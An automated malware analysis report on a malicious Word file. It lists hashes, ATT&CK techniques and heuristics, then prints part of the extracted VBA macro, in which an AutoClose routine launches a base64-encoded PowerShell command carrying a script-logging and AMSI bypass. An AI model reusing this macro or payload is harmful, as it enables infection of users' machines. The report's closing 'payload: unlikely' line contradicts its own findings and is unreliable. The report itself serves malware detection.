Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a296cee6f3a56cc7…

MALICIOUS

Office (OOXML)

56.5 KB Created: 2021-05-31 05:34:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-25
MD5: 8387ce3c7845cc806faeacd177974f4d SHA-1: 107eb0b82b773544621cd659b4f8d9fe5367ce2c SHA-256: a296cee6f3a56cc79e55aee9091354767f708b804a950813f2abfe348a626278
442 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that are triggered by the AutoClose event. These macros utilize WScript.Shell and CreateObject to execute a PowerShell command. The PowerShell command is heavily obfuscated but appears to be designed to download and execute a second-stage payload from a remote source.

Heuristics 9

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 8271 bytes
SHA-256: 59418633a74a988067082cdac16f5246a2cd01b3aea609c1a6da096d81b55d3d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoClose()
        VAHK
End Sub

Public Function VAHK() As Variant
        Dim RI As String
        RI = "powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVg"
        RI = RI + "BFAFIAUwBpAE8AbgBUAEEAQgBMAEUALgBQAFMAVgBlAFIAcwBp"
        RI = RI + "AG8ATgAuAE0AYQBqAG8AUgAgAC0ARwBFACAAMwApAHsAJAAxAD"
        RI = RI + "EAYgBEADgAPQBbAHIAZQBmAF0ALgBBAHMAcwBFAG0AQgBsAFkA"
        RI = RI + "LgBHAGUAdABUAHkAUABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQ"
        RI = RI + "BuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBu"
        RI = RI + "AC4AVQB0AGkAbABzACcAKQAuACIARwBlAHQARgBJAEUAYABMAE"
        RI = RI + "QAIgAoACcAYwBhAGMAaABlAGQARwByAG8AdQBwAFAAbwBsAGkA"
        RI = RI + "YwB5AFMAZQB0AHQAaQBuAGcAcwAnACwAJwBOACcAKwAnAG8Abg"
        RI = RI + "BQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQA7AEkARgAo"
        RI = RI + "ACQAMQAxAGIAZAA4ACkAewAkAEEAMQA4AGUAMQA9ACQAMQAxAG"
        RI = RI + "IAZAA4AC4ARwBFAFQAVgBhAEwAVQBlACgAJABuAHUAbABMACkA"
        RI = RI + "OwBJAGYAKAAkAEEAMQA4AEUAMQBbACcAUwBjAHIAaQBwAHQAQg"
        RI = RI + "AnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdACkAewAk"
        RI = RI + "AEEAMQA4AEUAMQBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG"
        RI = RI + "8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwA"
        RI = RI + "ZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZw"
        RI = RI + "BpAG4AZwAnAF0APQAwADsAJABBADEAOABlADEAWwAnAFMAYwBy"
        RI = RI + "AGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnAC"
        RI = RI + "cAXQBbACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8A"
        RI = RI + "YwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZw"
        RI = RI + "AnAF0APQAwAH0AJABWAGEAbAA9AFsAQwBvAGwAbABlAGMAdABp"
        RI = RI + "AG8AbgBzAC4ARwBlAG4ARQBSAEkAYwAuAEQAaQBDAHQASQBPAE"
        RI = RI + "4AQQByAFkAWwBTAFQAUgBpAE4ARwAsAFMAWQBTAFQARQBtAC4A"
        RI = RI + "TwBCAGoAZQBjAHQAXQBdADoAOgBuAEUAVwAoACkAOwAkAHYAYQ"
        RI = RI + "BMAC4AQQBkAGQAKAAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0"
        RI = RI + "AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcALAAwAC"
        RI = RI + "kAOwAkAFYAQQBsAC4AQQBkAEQAKAAnAEUAbgBhAGIAbABlAFMA"
        RI = RI + "YwByAGkAcAB0AEIAbABvAGMAawBJAG4AdgBvAGMAYQB0AGkAbw"
        RI = RI + "BuAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAYQAxADgAZQAx"
        RI = RI + "AFsAJwBIAEsARQBZAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE"
        RI = RI + "4ARQBcAFMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUA"
        RI = RI + "cwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcw"
        RI = RI + "BcAFAAbwB3AGUAcgBTAGgAZQBsAGwAXABTAGMAcgBpAHAAdABC"
        RI = RI + "ACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAkAH"
        RI = RI + "YAYQBMAH0ARQBsAFMAZQB7AFsAUwBDAHIAaQBQAHQAQgBMAG8A"
        RI = RI + "YwBrAF0ALgAiAEcAZQB0AEYASQBFAGAATABEACIAKAAnAHMAaQ"
        RI = RI + "BnAG4AYQB0AHUAcgBlAHMAJwAsACcATgAnACsAJwBvAG4AUAB1"
        RI = RI + "AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAG"
        RI = RI + "EATABVAGUAKAAkAE4AVQBMAGwALAAoAE4AZQBXAC0ATwBiAGoA"
        RI = RI + "RQBDAHQAIABDAG8ATABsAEUAYwBUAGkAbwBuAHMALgBHAGUAbg"
        RI = RI + "BlAFIAaQBDAC4ASABBAFMAaABTAGUAdABbAFMAdAByAGkATgBH"
        RI = RI + "AF0AKQApAH0AJABSAEUARgA9AFsAUgBlAEYAXQAuAEEAcwBTAG"
        RI = RI + "UAbQBCAGwAWQAuAEcARQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQA"
        RI = RI + "ZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQ"
        RI = RI + "BhAHQAaQBvAG4ALgBBAG0AcwBpACcAKwAnAFUAdABpAGwAcwAn"
        RI = RI + "ACkAOwAkAFIARQBGAC4ARwBlAFQARgBpAGUAbABkACgAJwBhAG"
        RI = RI + "0AcwBpAEkAbgBpAHQARgAnACsAJwBhAGkAbABlAGQAJwAsACcA"
        RI = RI + "TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALg"
        RI = RI + "BTAEUAVABWAGEAbABVAGUAKAAkAE4AdQBMAGwALAAkAFQAcgB1"
        RI = RI + "AGUAKQA7AH0AOwBbAFMAeQBTAHQARQBNAC4ATgBFAFQALgBTAE"
       
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 21504 bytes
SHA-256: 21871822ddda71095dabc86650fb619bf1a3daf766561cebf50786e13ca58152
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely